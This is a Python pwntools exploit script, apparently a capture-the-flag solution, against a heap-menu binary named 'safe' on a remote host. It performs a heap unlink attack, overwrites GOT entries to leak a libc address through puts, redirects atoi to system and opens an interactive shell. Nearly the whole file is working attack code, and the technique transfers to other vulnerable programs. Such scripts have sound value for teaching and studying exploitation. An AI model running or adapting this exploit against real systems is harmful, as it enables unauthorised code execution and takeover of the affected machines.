#!/usr/bin/env python 

from pwn import *
import time

LOCAL = False
Debug = False

lib = ELF('./libc.so.6.64')

if not LOCAL:
    r = remote('172.16.113.50', 12015)
else:
    r = process('./safe')
    print r.proc.pid
    #a = raw_input('Wait gdb attach...\n')



'''
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
'''

'''
Memory
0x6020a0 :  big       huge
0x6020b0 :  small     f_b   f_h
0x6020c0 :  f_s     
'''

'''
1. Use unlink make ptr of small point to ptr-0x12
2. Use renew to write ptrs
3. Use renew to write arbitrary address

'''

def L(msg):
    if Debug:
        print msg

def Keep(size, content):
    L(r.recvuntil('Renew secret\n'))    
    r.sendline('1')
    L(r.recvuntil('Huge secret\n'))
    r.sendline(size)
    L(r.recvuntil('secret:'))
    r.sendline(content)
    
def Wipe(size):
    L(r.recvuntil('Renew secret\n'))    
    r.sendline('2')
    L(r.recvuntil('Huge secret\n'))
    r.sendline(size)
    
def Renew(size, content):    
    L(r.recvuntil('Renew secret\n'))    
    r.sendline('3')
    L(r.recvuntil('Huge secret\n'))
    r.sendline(size)
    L(r.recvuntil('secret:'))
    r.send(content)
    

if __name__ == "__main__":
    Keep('3','a')
    Wipe('3')
    
    Keep('1','a')
    Wipe('1')
    
    Keep('3','a')
    Wipe('1')
    
    Keep('1','a')
    Keep('2','a')   

    # make fake chunck in small 
    #                   fake size     fake fd                 fake bk       fake presize  fake s&f
    Renew('3', p64(0) + p64(0x20) + p64(0x6020b0-0x18) + p64(0x6020b0-0x10) + p64(0x20) + p64(0xfb0) )

    # trigger unlink attack
    Wipe('2')

    # write puts_plt to free_got
    puts_plt = 0x4006c0
    free_got = 0x602018
    puts_got = 0x602020
    Renew('1', p64(0) + p64(free_got) + p64(puts_got) + p64(0x602098) + p32(1)*3)
    Renew('2', p64(puts_plt))
    
    # leak puts libc address
    Wipe('3')
    
    res = r.recvuntil('Keep')
    puts_add = u64(res.split('\n')[0].ljust(8,'\x00'))

    # count the addr of system
    lib_base =  puts_add - lib.symbols['puts']
    sys_add = lib_base + lib.symbols['system']
    print 'puts_addr =', hex(puts_add)
    print 'system_addr =', hex(sys_add)

    # write sys to atoi 
    atoi_got = 0x602070
    Renew('1', p64(0) + p64(atoi_got) + p64(0) + p64(0x602098) + p32(1)*3)
    Renew('2', p64(sys_add))
    
    # trigger 
    r.send('sh')

    
    r.interactive()



